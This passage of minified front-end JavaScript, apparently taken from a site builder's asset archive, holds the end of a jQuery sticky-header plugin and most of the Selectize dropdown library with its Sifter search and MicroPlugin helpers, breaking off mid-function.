this.getSettingsManager().getOptions().show.scrolling(this.getSettingsManager(), this.getScrollingManager()); if (this.getScrollingManager().scrollingDown()) { if (this.getSettingsManager().getOptions().show.scrolling.down) return !0 } else if (this.getSettingsManager().getOptions().show.scrolling.up) return !0; return !1 }, o.prototype.getFixedPosition = function () { return this._fixedPosition }, o.prototype.prepareFixedPosition = function () { let e = this.getSettingsManager().getOptions().show.fixed; for (e instanceof Function && (e = e(this.getSettingsManager(), this.getScrollingManager())), this._fixedPosition = Object.keys(t.fn.smartSticky.positions)[0]; t.fn.smartSticky.positions.hasOwnProperty(e);)this._fixedPosition = e, e = t.fn.smartSticky.positions[this._fixedPosition](this); return this.setYCoordManager() }; var r = function (t) { let e = this; e._lastScrollTop = 0, e._lastScrollingDown = !0, e._onScrollingCallbackArr = new Array, e._overflowingElement = t.on("scroll", function () { e._onScrollingCallbackArr.forEach(function (t) { t.call(e, e) }), e.update() }) }; r.prototype.getOverflowingElement = function () { return this._overflowingElement }, r.prototype.scrollingDown = function () { return this._lastScrollTop === this.getCurrentScrollTop() ? this._lastScrollingDown : this._lastScrollingDown = this._lastScrollTop < this.getCurrentScrollTop() }, r.prototype.getCurrentScrollTop = function () { return this.getOverflowingElement().scrollTop() }, r.prototype.update = function () { return this._lastScrollTop = this.getCurrentScrollTop(), this }, r.prototype.onScrolling = function (t) { return this._onScrollingCallbackArr.push(t), this }, t.fn.smartSticky = function (n) { let i = n instanceof String || "string" == typeof n, o = arguments; if (i && "instance" === n) { let n = this.data("smartStickyManagerInstance"); if (n instanceof e) return n; t.error("smartSticky has not been initialized") } return this.each(function () { let r = t(this); if (i) { let t = r.data("smartStickyManagerInstance"); t instanceof e && t[n] instanceof Function && t[n].apply(t, Array.prototype.slice.call(o, 1)) } else r.data("smartStickyManagerInstance") || r.data("smartStickyManagerInstance", new e(r, n)) }) }, t.fn.smartSticky.defaults = { show: { delay: 50, immediately: !1, original: { under: !0, above: !1 }, fixed: "top", scrolling: { up: !0, down: !0 } }, container: null, css: { fixed: { width: null, left: null } } }, t.fn.smartSticky.classes = { placeholder: "sticky-smart-placeholder", root: "sticky-smart", invisible: "sticky-smart-invisible", active: "sticky-smart-active", background: "sticky-smart-background", container: "sticky-smart-container" }, t.fn.smartSticky.constants = { css: { noBackground: new Array("rgba(0, 0, 0, 0)", "transparent"), overflowing: new Array("auto", "scroll", "overlay") } }, t.fn.smartSticky.positions = { top: function () { return { top: 0 } }, bottom: function () { return { bottom: 0 } }, toggle: function (t) { return t.getScrollingManager().scrollingDown() ? "top" : "bottom" } }, t.fn.smartSticky.windowScrollingManager = new r(t(window)) });PK     /w\ƭ  ƭ  "  builder/assets/js/selectize.min.jsnu [        !function(t,e){"function"==typeof define&&define.amd?define("sifter",e):"object"==typeof exports?module.exports=e():t.Sifter=e()}(this,(function(){var t=function(t,e){this.items=t,this.settings=e||{diacritics:!0}};t.prototype.tokenize=function(t){if(!(t=n(String(t||"").toLowerCase()))||!t.length)return[];var e,i,s,r,l=[],h=t.split(/ +/);for(e=0,i=h.length;e<i;e++){if(s=o(h[e]),this.settings.diacritics)for(r in a)a.hasOwnProperty(r)&&(s=s.replace(new RegExp(r,"g"),a[r]));l.push({string:h[e],regex:new RegExp(s,"i")})}return l},t.prototype.iterator=function(t,e){(r(t)?Array.prototype.forEach||function(t){for(var e=0,i=this.length;e<i;e++)t(this[e],e,this)}:function(t){for(var e in this)this.hasOwnProperty(e)&&t(this[e],e,this)}).apply(t,[e])},t.prototype.getScoreFunction=function(t,e){var i,n,o,r;t=this.prepareSearch(t,e),n=t.tokens,i=t.options.fields,o=n.length,r=t.options.nesting;var a,l=function(t,e){var i,s;return t?-1===(s=(t=String(t||"")).search(e.regex))?0:(i=e.string.length/t.length,0===s&&(i+=.5),i):0},h=(a=i.length)?1===a?function(t,e){return l(s(e,i[0],r),t)}:function(t,e){for(var n=0,o=0;n<a;n++)o+=l(s(e,i[n],r),t);return o/a}:function(){return 0};return o?1===o?function(t){return h(n[0],t)}:"and"===t.options.conjunction?function(t){for(var e,i=0,s=0;i<o;i++){if((e=h(n[i],t))<=0)return 0;s+=e}return s/o}:function(t){for(var e=0,i=0;e<o;e++)i+=h(n[e],t);return i/o}:function(){return 0}},t.prototype.getSortFunction=function(t,i){var n,o,r,a,l,h,p,u,c,d,g;if(g=!(t=(r=this).prepareSearch(t,i)).query&&i.sort_empty||i.sort,c=function(t,e){return"$score"===t?e.score:s(r.items[e.id],t,i.nesting)},l=[],g)for(n=0,o=g.length;n<o;n++)(t.query||"$score"!==g[n].field)&&l.push(g[n]);if(t.query){for(d=!0,n=0,o=l.length;n<o;n++)if("$score"===l[n].field){d=!1;break}d&&l.unshift({field:"$score",direction:"desc"})}else for(n=0,o=l.length;n<o;n++)if("$score"===l[n].field){l.splice(n,1);break}for(u=[],n=0,o=l.length;n<o;n++)u.push("desc"===l[n].direction?-1:1);return(h=l.length)?1===h?(a=l[0].field,p=u[0],function(t,i){return p*e(c(a,t),c(a,i))}):function(t,i){var s,n,o;for(s=0;s<h;s++)if(o=l[s].field,n=u[s]*e(c(o,t),c(o,i)))return n;return 0}:null},t.prototype.prepareSearch=function(t,e){if("object"==typeof t)return t;var s=(e=i({},e)).fields,n=e.sort,o=e.sort_empty;return s&&!r(s)&&(e.fields=[s]),n&&!r(n)&&(e.sort=[n]),o&&!r(o)&&(e.sort_empty=[o]),{options:e,query:String(t||"").toLowerCase(),tokens:this.tokenize(t),total:0,items:[]}},t.prototype.search=function(t,e){var i,s,n,o;return s=this.prepareSearch(t,e),e=s.options,t=s.query,o=e.score||this.getScoreFunction(s),t.length?this.iterator(this.items,(function(t,n){i=o(t),(!1===e.filter||i>0)&&s.items.push({score:i,id:n})})):this.iterator(this.items,(function(t,e){s.items.push({score:1,id:e})})),(n=this.getSortFunction(s,e))&&s.items.sort(n),s.total=s.items.length,"number"==typeof e.limit&&(s.items=s.items.slice(0,e.limit)),s};var e=function(t,e){return"number"==typeof t&&"number"==typeof e?t>e?1:t<e?-1:0:(t=l(String(t||"")))>(e=l(String(e||"")))?1:e>t?-1:0},i=function(t,e){var i,s,n,o;for(i=1,s=arguments.length;i<s;i++)if(o=arguments[i])for(n in o)o.hasOwnProperty(n)&&(t[n]=o[n]);return t},s=function(t,e,i){if(t&&e){if(!i)return t[e];for(var s=e.split(".");s.length&&(t=t[s.shift()]););return t}},n=function(t){return(t+"").replace(/^\s+|\s+$|/g,"")},o=function(t){return(t+"").replace(/([.?*+^$[\]\\(){}|-])/g,"\\$1")},r=Array.isArray||"undefined"!=typeof $&&$.isArray||function(t){return"[object Array]"===Object.prototype.toString.call(t)},a={a:"[aḀḁĂăÂâǍǎȺⱥȦȧẠạÄäÀàÁáĀāÃãÅåąĄÃąĄ]",b:"[b␢βΒB฿𐌁ᛒ]",c:"[cĆćĈĉČčĊċC̄c̄ÇçḈḉȻȼƇƈɕᴄＣｃ]",d:"[dĎďḊḋḐḑḌḍḒḓḎḏĐđD̦d̦ƉɖƊɗƋƌᵭᶁᶑȡᴅＤｄð]",e:"[eÉéÈèÊêḘḙĚěĔĕẼẽḚḛẺẻĖėËëĒēȨȩĘęᶒɆɇȄȅẾếỀềỄễỂểḜḝḖḗḔḕȆȇẸẹỆệⱸᴇＥｅɘǝƏƐε]",f:"[fƑƒḞḟ]",g:"[gɢ₲ǤǥĜĝĞğĢģƓɠĠġ]",h:"[hĤĥĦħḨḩẖẖḤḥḢḣɦʰǶƕ]",i:"[iÍíÌìĬĭÎîǏǐÏïḮḯĨĩĮįĪīỈỉȈȉȊȋỊịḬḭƗɨɨ̆ᵻᶖİiIıɪＩｉ]",j:"[jȷĴĵɈɉʝɟʲ]",k:"[kƘƙꝀꝁḰḱǨǩḲḳḴḵκϰ₭]",l:"[lŁłĽľĻļĹĺḶḷḸḹḼḽḺḻĿŀȽƚⱠⱡⱢɫɬᶅɭȴʟＬｌ]",n:"[nŃńǸǹŇňÑñṄṅŅņṆṇṊṋṈṉN̈n̈ƝɲȠƞᵰᶇɳȵɴＮｎŊŋ]",o:"[oØøÖöÓóÒòÔôǑǒŐőŎŏȮȯỌọƟɵƠơỎỏŌōÕõǪǫȌȍՕօ]",p:"[pṔṕṖṗⱣᵽƤƥᵱ]",q:"[qꝖꝗʠɊɋꝘꝙq̃]",r:"[rŔŕɌɍŘřŖŗṘṙȐȑȒȓṚṛⱤɽ]",s:"[sŚśṠṡṢṣꞨꞩŜŝŠšŞşȘșS̈s̈]",t:"[tŤťṪṫŢţṬṭƮʈȚțṰṱṮṯƬƭ]",u:"[uŬŭɄʉỤụÜüÚúÙùÛûǓǔŰűŬŭƯưỦủŪūŨũŲųȔȕ∪]",v:"[vṼṽṾṿƲʋꝞꝟⱱʋ]",w:"[wẂẃẀẁŴŵẄẅẆẇẈẉ]",x:"[xẌẍẊẋχ]",y:"[yÝýỲỳŶŷŸÿỸỹẎẏỴỵɎɏƳƴ]",z:"[zŹźẐẑŽžŻżẒẓẔẕƵƶ]"},l=function(){var t,e,i,s,n="",o={};for(i in a)if(a.hasOwnProperty(i))for(n+=s=a[i].substring(2,a[i].length-1),t=0,e=s.length;t<e;t++)o[s.charAt(t)]=i;var r=new RegExp("["+n+"]","g");return function(t){return t.replace(r,(function(t){return o[t]})).toLowerCase()}}();return t})),function(t,e){"function"==typeof define&&define.amd?define("microplugin",e):"object"==typeof exports?module.exports=e():t.MicroPlugin=e()}(this,(function(){var t={mixin:function(t){t.plugins={},t.prototype.initializePlugins=function(t){var i,s,n,o=[];if(this.plugins={names:[],settings:{},requested:{},loaded:{}},e.isArray(t))for(i=0,s=t.length;i<s;i++)"string"==typeof t[i]?o.push(t[i]):(this.plugins.settings[t[i].name]=t[i].options,o.push(t[i].name));else if(t)for(n in t)t.hasOwnProperty(n)&&(this.plugins.settings[n]=t[n],o.push(n));for(;o.length;)this.require(o.shift())},t.prototype.loadPlugin=function(e){var i=this.plugins,s=t.plugins[e];if(!t.plugins.hasOwnProperty(e))throw new Error('Unable to find "'+e+'" plugin');i.requested[e]=!0,i.loaded[e]=s.fn.apply(this,[this.plugins.settings[e]||{}]),i.names.push(e)},t.prototype.require=function(t){var e=this.plugins;if(!this.plugins.loaded.hasOwnProperty(t)){if(e.requested[t])throw new Error('Plugin has circular dependency ("'+t+'")');this.loadPlugin(t)}return e.loaded[t]},t.define=function(e,i){t.plugins[e]={name:e,fn:i}}}},e={isArray:Array.isArray||function(t){return"[object Array]"===Object.prototype.toString.call(t)}};return t})),function(t,e){"function"==typeof define&&define.amd?define("selectize",["jquery","sifter","microplugin"],e):"object"==typeof exports?module.exports=e(require("jquery"),require("sifter"),require("microplugin")):t.Selectize=e(t.jQuery,t.Sifter,t.MicroPlugin)}(this,(function(t,e,i){"use strict";var s=function(t,e){if("string"!=typeof e||e.length){var i="string"==typeof e?new RegExp(e,"i"):e,s=function(t){var e=0;if(3===t.nodeType){var n=t.data.search(i);if(n>=0&&t.data.length>0){var o=t.data.match(i),r=document.createElement("span");r.className="highlight";var a=t.splitText(n),l=(a.splitText(o[0].length),a.cloneNode(!0));r.appendChild(l),a.parentNode.replaceChild(r,a),e=1}}else if(1===t.nodeType&&t.childNodes&&!/(script|style)/i.test(t.tagName))for(var h=0;h<t.childNodes.length;++h)h+=s(t.childNodes[h]);return e};return t.each((function(){s(this)}))}},n=function(){};n.prototype={on:function(t,e){this._events=this._events||{},this._events[t]=this._events[t]||[],this._events[t].push(e)},off:function(t,e){var i=arguments.length;return 0===i?delete this._events:1===i?delete this._events[t]:(this._events=this._events||{},void(t in this._events!=!1&&this._events[t].splice(this._events[t].indexOf(e),1)))},trigger:function(t){if(this._events=this._events||{},t in this._events!=!1)for(var e=0;e<this._events[t].length;e++)this._events[t][e].apply(this,Array.prototype.slice.call(arguments,1))}},n.mixin=function(t){for(var e=["on","off","trigger"],i=0;i<e.length;i++)t.prototype[e[i]]=n.prototype[e[i]]};var o=/Mac/.test(navigator.userAgent),r=o?91:17,a=o?18:17,l=!/android/i.test(window.navigator.userAgent)&&!!document.createElement("form").validity,h=function(t){return void 0!==t},p=function(t){return null==t?null:"boolean"==typeof t?t?"1":"0":t+""},u=function(t){return(t+"").replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/"/g,"&quot;")},c={before:function(t,e,i){var s=t[e];t[e]=function(){return i.apply(t,arguments),s.apply(t,arguments)}},after:function(t,e,i){var s=t[e];t[e]=function(){var e=s.apply(t,arguments);return i.apply(t,arguments),e}}},d=function(t){var e=!1;return function(){e||(e=!0,t.apply(this,arguments))}},g=function(t,e,i){var s,n=t.trigger,o={};for(s in t.trigger=function(){var i=arguments[0];if(-1===e.indexOf(i))return n.apply(t,arguments);o[i]=arguments},i.apply(t,[]),t.trigger=n,o)o.hasOwnProperty(s)&&n.apply(t,o[s])},f=function(t){var e={};if("selectionStart"in t)e.start=t.selectionStart,e.length=t.selectionEnd-e.start;else if(document.selection){t.focus();var i=document.selection.createRange(),s=document.selection.createRange().text.length;i.moveStart("character",-t.value.length),e.start=i.text.length-s,e.length=s}return e},v=function(e){var i=null,s=function(s,n){var o,r,a,l,h,p,u,c;n=n||{},(s=s||window.event||{}).metaKey||s.altKey||(n.force||!1!==e.data("grow"))&&(o=e.val(),s.type&&"keydown"===s.type.toLowerCase()&&(a=(r=s.keyCode)>=97&&r<=122||r>=65&&r<=90||r>=48&&r<=57||32===r,46===r||8===r?(c=f(e[0])).length?o=o.substring(0,c.start)+o.substring(c.start+c.length):8===r&&c.start?o=o.substring(0,c.start-1)+o.substring(c.start+1):46===r&&void 0!==c.start&&(o=o.substring(0,c.start)+o.substring(c.start+1)):a&&(p=s.shiftKey,u=String.fromCharCode(s.keyCode),o+=u=p?u.toUpperCase():u.toLowerCase())),l=e.attr("placeholder"),!o&&l&&(o=l),(h=function(e,i){if(!e)return 0;var s=t("<test>").css({position:"absolute",top:-99999,left:-99999,width:"auto",padding:0,whiteSpace:"pre"}).text(e).appendTo("body");!function(t,e,i){var s,n,o={};if(i)for(s=0,n=i.length;s<n;s++)o[i[s]]=t.css(i[s]);else o=t.css();e.css(o)}(i,s,["letterSpacing","fontSize","fontFamily","fontWeight","textTransform"]);var n=s.width();return s.remove(),n}(o,e)+4)!==i&&(i=h,e.width(h),e.triggerHandler("resize")))};e.on("keydown keyup update blur",s),s()},m=function(i,s){var n,o,r,a;(a=i[0]).selectize=this;var l,h,p,u=window.getComputedStyle&&window.getComputedStyle(a,null);if(r=(r=u?u.getPropertyValue("direction"):a.currentStyle&&a.currentStyle.direction)||i.parents("[dir]:first").attr("dir")||"",t.extend(this,{order:0,settings:s,$input:i,tabIndex:i.attr("tabindex")||"",tagType:"select"===a.tagName.toLowerCase()?1:2,rtl:/rtl/i.test(r),eventNS:".selectize"+ ++m.count,highlightedValue:null,isOpen:!1,isDisabled:!1,isRequired:i.is("[required]"),isInvalid:!1,isLocked:!1,isFocused:!1,isInputHidden:!1,isSetup:!1,isShiftDown:!1,isCmdDown:!1,isCtrlDown:!1,ignoreFocus:!1,ignoreBlur:!1,ignoreHover:!1,hasOptions:!1,currentResults:null,lastValue:"",caretPos:0,loading:0,loadedSearches:{},$activeOption:null,$activeItems:[],optgroups:{},options:{},userOptions:{},items:[],renderCache:{},onSearchChange:null===s.loadThrottle?this.onSearchChange:(l=this.onSearchChange,h=s.loadThrottle,function(){var t=this,e=arguments;window.clearTimeout(p),p=window.setTimeout((function(){l.apply(t,e)}),h)})}),this.sifter=new e(this.options,{diacritics:s.diacritics}),this.settings.options){for(n=0,o=this.settings.options.length;n<o;n++)this.registerOption(this.settings.options[n]);delete this.settings.options}if(this.settings.optgroups){for(n=0,o=this.settings.optgroups.length;n<o;n++)this.registerOptionGroup(this.settings.optgroups[n]);delete this.settings.optgroups}this.settings.mode=this.settings.mode||(1===this.settings.maxItems?"single":"multi"),"boolean"!=typeof this.settings.hideSelected&&(this.settings.hideSelected="multi"===this.settings.mode),this.initializePlugins(this.settings.plugins),this.setupCallbacks(),this.setupTemplates(),this.setup()};return n.mixin(m),i.mixin(m),t.extend(m.prototype,{setup:function(){var e,i,s,n,h,p,u,c,d,g,f,m,y,w=this,O=w.settings,C=w.eventNS,$=t(window),b=t(document),x=w.$input;if(u=w.settings.mode,c=x.attr("class")||"",e=t("<div>").addClass(O.wrapperClass).addClass(c).addClass(u),i=t("<div>").addClass(O.inputClass).addClass("items").appendTo(e),s=t('<input type="text" autocomplete="off" />').appendTo(i).attr("tabindex",x.is(":disabled")?"-1":w.tabIndex),p=t(O.dropdownParent||e),n=t("<div>").addClass(O.dropdownClass).addClass(u).hide().appendTo(p),h=t("<div>").addClass(O.dropdownContentClass).appendTo(n),w.settings.copyClassesToDropdown&&n.addClass(c),e.css({width:x[0].style.width}),w.plugins.names.length&&(d="plugin-"+w.plugins.names.join(" plugin-"),e.addClass(d),n.addClass(d)),(null===O.maxItems||O.maxItems>1)&&1===w.tagType&&x.attr("multiple","multiple"),w.settings.placeholder&&s.attr("placeholder",O.placeholder),!w.settings.splitOn&&w.settings.delimiter){var S=w.settings.delimiter.replace(/[-\/\\^$*+?.()|[\]{}]/g,"\\$&");w.settings.splitOn=new RegExp("\\s*"+S+"+\\s*")}x.attr("autocorrect")&&s.attr("autocorrect",x.attr("autocorrect")),x.attr("autocapitalize")&&s.attr("autocapitalize",x.attr("autocapitalize")),w.$wrapper=e,w.$control=i,w.$control_input=s,w.$dropdown=n,w.$dropdown_content=h,n.on("mouseenter","[data-selectable]",(function(){return w.onOptionHover.apply(w,arguments)})),n.on("mousedown click","[data-selectable]",(function(){return w.onOptionSelect.apply(w,arguments)})),f="mousedown",m="*:not(input)",y=function(){return w.onItemSelect.apply(w,arguments)},(g=i).on(f,m,(function(t){for(var e=t.target;e&&e.parentNode!==g[0];)e=e.parentNode;return t.currentTarget=e,y.apply(this,[t])})),v(s),i.on({mousedown:function(){return w.onMouseDown.apply(w,arguments)},click:function(){return w.onClick.apply(w,arguments)}}),s.on({mousedown:function(t){t.stopPropagation()},keydown:function(){return w.onKeyDown.apply(w,arguments)},keyup:function(){return w.onKeyUp.apply(w,arguments)},keypress:function(){return w.onKeyPress.apply(w,arguments)},resize:function(){w.positionDropdown.apply(w,[])},blur:function(){return w.onBlur.apply(w,arguments)},focus:function(){return w.ignoreBlur=!1,w.onFocus.apply(w,arguments)},paste:function(){return w.onPaste.apply(w,arguments)}}),b.on("keydown"+C,(function(t){w.isCmdDown=t[o?"metaKey":"ctrlKey"],w.isCtrlDown=t[o?"altKey":"ctrlKey"],w.isShiftDown=t.shiftKey})),b.on("keyup"+C,(function(t){t.keyCode===a&&(w.isCtrlDown=!1),16===t.keyCode&&(w.isShiftDown=!1),t.keyCode===r&&(w.isCmdDown=!1)})),b.on("mousedown"+C,(function(t){if(w.isFocused){if(t.target===w.$dropdown[0]||t.target.parentNode===w.$dropdown[0])return!1;w.$control.has(t.target).length||t.target===w.$control[0]||w.blur(t.target)}})),$.on(["scroll"+C,"resize"+C].join(" "),(function(){w.isOpen&&w.positionDropdown.apply(w,arguments)})),$.on("mousemove"+C,(function(){w.ignoreHover=!1})),this.revertSettings={$children:x.children().detach(),tabindex:x.attr("tabindex")},x.attr("tabindex",-1).hide().after(w.$wrapper),t.isArray(O.items)&&(w.setValue(O.items),delete O.items),l&&x.on("invalid"+C,(function(t){t.preventDefault(),w.isInvalid=!0,w.refreshState()})),w.updateOriginalInput(),w.refreshItems(),w.refreshState(),w.updatePlaceholder(),w.isSetup=!0,x.is(":disabled")&&w.disable(),w.on("change",this.onChange),x.data("selectize",w),x.addClass("selectized"),w.trigger("initialize"),!0===O.preload&&w.onSearchChange("")},setupTemplates:function(){var e=this.settings.labelField,i=this.settings.optgroupLabelField,s={optgroup:function(t){return'<div class="optgroup">'+t.html+"</div>"},optgroup_header:function(t,e){return'<div class="optgroup-header">'+e(t[i])+"</div>"},option:function(t,i){return'<div class="option">'+i(t[e])+"</div>"},item:function(t,i){return'<div class="item">'+i(t[e])+"</div>"},option_create:function(t,e){return'<div class="create">Add <strong>'+e(t.input)+"</strong>&hellip;</div>"}};this.settings.render=t.extend({},s,this.settings.render)},setupCallbacks:function(){var t,e,i={initialize:"onInitialize",change:"onChange",item_add:"onItemAdd",item_remove:"onItemRemove",clear:"onClear",option_add:"onOptionAdd",option_remove:"onOptionRemove",option_clear:"onOptionClear",optgroup_add:"onOptionGroupAdd",optgroup_remove:"onOptionGroupRemove",optgroup_clear:"onOptionGroupClear",dropdown_open:"onDropdownOpen",dropdown_close:"onDropdownClose",type:"onType",load:"onLoad",focus:"onFocus",blur:"onBlur"};for(t in i)i.hasOwnProperty(t)&&(e=this.settings[i[t]])&&this.on(t,e)},onClick:function(t){this.isFocused||(this.focus(),t.preventDefault())},onMouseDown:function(e){var i=this,s=e.isDefaultPrevented();t(e.target);if(i.isFocused){if(e.target!==i.$control_input[0])return"single"===i.settings.mode?i.isOpen?i.close():i.open():s||i.setActiveItem(null),!1}else s||window.setTimeout((function(){i.focus()}),0)},onChange:function(){this.$input.trigger("change")},onPaste:function(e){var i=this;i.isFull()||i.isInputHidden||i.isLocked?e.preventDefault():i.settings.splitOn&&setTimeout((function(){for(var e=t.trim(i.$control_input.val()||"").split(i.settings.splitOn),s=0,n=e.length;s<n;s++)i.createItem(e[s])}),0)},onKeyPress:function(t){if(this.isLocked)return t&&t.preventDefault();var e=String.fromCharCode(t.keyCode||t.which);return this.settings.create&&"multi"===this.settings.mode&&e===this.settings.delimiter?(this.createItem(),t.preventDefault(),!1):void 0},onKeyDown:function(t){t.target,this.$control_input[0];if(this.isLocked)9!==t.keyCode&&t.preventDefault();else{switch(t.keyCode){case 65:if(this.isCmdDown)return void this.selectAll();break;case 27:return void(this.isOpen&&(t.preventDefault(),t.stopPropagation(),this.close()));case 78:if(!t.ctrlKey||t.altKey)break;case 40:if(!this.isOpen&&this.hasOptions)this.open();else if(this.$activeOption){this.ignoreHover=!0;var e=this.getAdjacentOption(this.$activeOption,1);e.length&&this.setActiveOption(e,!0,!0)}return void t.preventDefault();case 80:if(!t.ctrlKey||t.altKey)break;case 38:if(this.$activeOption){this.ignoreHover=!0;var i=this.getAdjacentOption(this.$activeOption,-1);i.length&&this.setActiveOption(i,!0,!0)}return void t.preventDefault();case 13:return void(this.isOpen&&this.$activeOption&&(this.onOptionSelect({currentTarget:this.$activeOption}),t.preventDefault()));case 37:return void this.advanceSelection(-1,t);case 39:return void this.advanceSelection(1,t);case 9:return this.settings.selectOnTab&&this.isOpen&&this.$activeOption&&(this.onOptionSelect({currentTarget:this.$activeOption}),this.isFull()||t.preventDefault()),void(this.settings.create&&this.createItem()&&t.preventDefault());case 8:case 46:return void this.deleteSelection(t)}!this.isFull()&&!this.isInputHidden||(o?t.metaKey:t.ctrlKey)||t.preventDefault()}},onKeyUp:function(t){if(this.isLocked)return t&&t.preventDefault();var e=this.$control_input.val()||"";this.lastValue!==e&&(this.lastValue=e,this.onSearchChange(e),this.refreshOptions(),this.trigger("type",e))},onSearchChange:function(t){var e=this,i=e.settings.load;i&&(e.loadedSearches.hasOwnProperty(t)||(e.loadedSearches[t]=!0,e.load((function(s){i.apply(e,[t,s])}))))},onFocus:function(t){var e=this.isFocused;if(this.isDisabled)return this.blur(),t&&t.preventDefault(),!1;this.ignoreFocus||(this.isFocused=!0,"focus"===this.settings.preload&&this.onSearchChange(""),e||this.trigger("focus"),this.$activeItems.length||(this.showInput(),this.setActiveItem(null),this.refreshOptions(!!this.settings.openOnFocus)),this.refreshState())},onBlur:function(t,e){var i=this;if(i.isFocused&&(i.isFocused=!1,!i.ignoreFocus)){if(!i.ignoreBlur&&document.activeElement===i.$dropdown_content[0])return i.ignoreBlur=!0,void i.onFocus(t);var s=function(){i.close(),i.setTextboxValue(""),i.setActiveItem(null),i.setActiveOption(null),i.setCaret(i.items.length),i.refreshState(),e&&e.focus(),i.ignoreFocus=!1,i.trigger("blur")};i.ignoreFocus=!0,i.settings.create&&i.settings.createOnBlur?i.createItem(null,!1,s):s()}},onOptionHover:function(t){this.ignoreHover||this.setActiveOption(t.currentTarget,!1)},onOptionSelect:function(e){var i,s,n=this;e.preventDefault&&(e.preventDefault(),e.stopPropagation()),(s=t(e.currentTarget)).hasClass("create")?n.createItem(null,(function(){n.settings.closeAfterSelect&&n.close()})):void 0!==(i=s.attr("data-value"))&&(n.lastQuery=null,n.setTextboxValue(""),n.addItem(i),n.settings.closeAfterSelect?n.close():!n.settings.hideSelected&&e.type&&/mouse/.test(e.type)&&n.setActiveOption(n.getOption(i)))},onItemSelect:function(t){this.isLocked||"multi"===this.settings.mode&&(t.preventDefault(),this.setActiveItem(t.currentTarget,t))},load:function(t){var e=this,i=e.$wrapper.addClass(e.settings.loadingClass);e.loading++,t.apply(e,[function(t){e.loading=Math.max(e.loading-1,0),t&&t.length&&(e.addOption(t),e.refreshOptions(e.isFocused&&!e.isInputHidden)),e.loading||i.removeClass(e.settings.loadingClass),e.trigger("load",t)}])},setTextboxValue:function(t){var e=this.$control_input;e.val()!==t&&(e.val(t).triggerHandler("update"),this.lastValue=t)},getValue:function(){return 1===this.tagType&&this.$input.attr("multiple")?this.items:this.items.join(this.settings.delimiter)},setValue:function(t,e){g(this,e?[]:["change"],(function(){this.clear(e),this.addItems(t,e)}))},setActiveItem:function(e,i){var s,n,o,r,a,l,h,p;if("single"!==this.settings.mode){if(!(e=t(e)).length)return t(this.$activeItems).removeClass("active"),this.$activeItems=[],void(this.isFocused&&this.showInput());if("mousedown"===(s=i&&i.type.toLowerCase())&&this.isShiftDown&&this.$activeItems.length){for(p=this.$control.children(".active:last"),(r=Array.prototype.indexOf.apply(this.$control[0].childNodes,[p[0]]))>(a=Array.prototype.indexOf.apply(this.$control[0].childNodes,[e[0]]))&&(h=r,r=a,a=h),n=r;n<=a;n++)l=this.$control[0].childNodes[n],-1===this.$activeItems.indexOf(l)&&(t(l).addClass("active"),this.$activeItems.push(l));i.preventDefault()}else"mousedown"===s&&this.isCtrlDown||"keydown"===s&&this.isShiftDown?e.hasClass("active")?(o=this.$activeItems.indexOf(e[0]),this.$activeItems.splice(o,1),e.removeClass("active")):this.$activeItems.push(e.addClass("active")[0]):(t(this.$activeItems).removeClass("active"),this.$activeItems=[e.addClass("active")[0]]);this.hideInput(),this.isFocused||this.focus()}},setActiveOption:function(e,i,s){var n,o,r,a,l;this.$activeOption&&this.$activeOption.removeClass("active"),this.$activeOption=null,(e=t(e)).length&&(this.$activeOption=e.addClass("active"),!i&&h(i)||(n=this.$dropdown_content.height(),o=this.$activeOption.outerHeight(!0),i=this.$dropdown_content.scrollTop()||0,a=r=this.$activeOption.offset().top-this.$dropdown_content.offset().top+i,l=r-n+o,r+o>n+i?this.$dropdown_content.stop().animate({scrollTop:l},s?this.settings.scrollDuration:0):r<i&&this.$dropdown_content.stop().animate({scrollTop:a},s?this.settings.scrollDuration:0)))},selectAll:function(){"single"!==this.settings.mode&&(this.$activeItems=Array.prototype.slice.apply(this.$control.children(":not(input)").addClass("active")),this.$activeItems.length&&(this.hideInput(),this.close()),this.focus())},hideInput:function(){this.setTextboxValue(""),this.$control_input.css({opacity:0,position:"absolute",left:this.rtl?1e4:-1e4}),this.isInputHidden=!0},showInput:function(){this.$control_input.css({opacity:1,position:"relative",left:0}),this.isInputHidden=!1},focus:function(){var t=this;t.isDisabled||(t.ignoreFocus=!0,t.$control_input[0].focus(),window.setTimeout((function(){t.ignoreFocus=!1,t.onFocus()}),0))},blur:function(t){this.$control_input[0].blur(),this.onBlur(null,t)},getScoreFunction:function(t){return this.sifter.getScoreFunction(t,this.getSearchOptions())},getSearchOptions:function(){var t=this.settings,e=t.sortField;return"string"==typeof e&&(e=[{field:e}]),{fields:t.searchField,conjunction:t.searchConjunction,sort:e}},search:function(e){var i,s,n,o=this.settings,r=this.getSearchOptions();if(o.score&&"function"!=typeof(n=this.settings.score.apply(this,[e])))throw new Error('Selectize "score" setting must be a function that returns a function');if(e!==this.lastQuery?(this.lastQuery=e,s=this.sifter.search(e,t.extend(r,{score:n})),this.currentResults=s):s=t.extend(!0,{},this.currentResults),o.hideSelected)for(i=s.items.length-1;i>=0;i--)-1!==this.items.indexOf(p(s.items[i].id))&&s.items.splice(i,1);return s},refreshOptions:function(e){var i,n,o,r,a,l,h,u,c,d,g,f,v,m,y,w;void 0===e&&(e=!0);var O,C,$=this,b=t.trim($.$control_input.val()),x=$.search(b),S=$.$dropdown_content,I=$.$activeOption&&p($.$activeOption.attr("data-value"));for(r=x.items.length,"number"==typeof $.settings.maxOptions&&(r=Math.min(r,$.settings.maxOptions)),a={},l=[],i=0;i<r;i++)for(h=$.options[x.items[i].id],u=$.render("option",h),c=h[$.settings.optgroupField]||"",d=t.isArray(c)?c:[c],t(u).removeClass("selected"),n=0,o=d&&d.length;n<o;n++)c=d[n],$.optgroups.hasOwnProperty(c)||(c=""),a.hasOwnProperty(c)||(a[c]=document.createDocumentFragment(),l.push(c)),a[c].appendChild(u);for(this.settings.lockOptgroupOrder&&l.sort((function(t,e){return($.optgroups[t].$order||0)-($.optgroups[e].$order||0)})),g=document.createDocumentFragment(),i=0,r=l.length;i<r;i++)c=l[i],$.optgroups.hasOwnProperty(c)&&a[c].childNodes.length?((f=document.createDocumentFragment()).appendChild($.render("optgroup_header",$.optgroups[c])),f.appendChild(a[c]),g.appendChild($.render("optgroup",t.extend({},$.optgroups[c],{html:(O=f,C=void 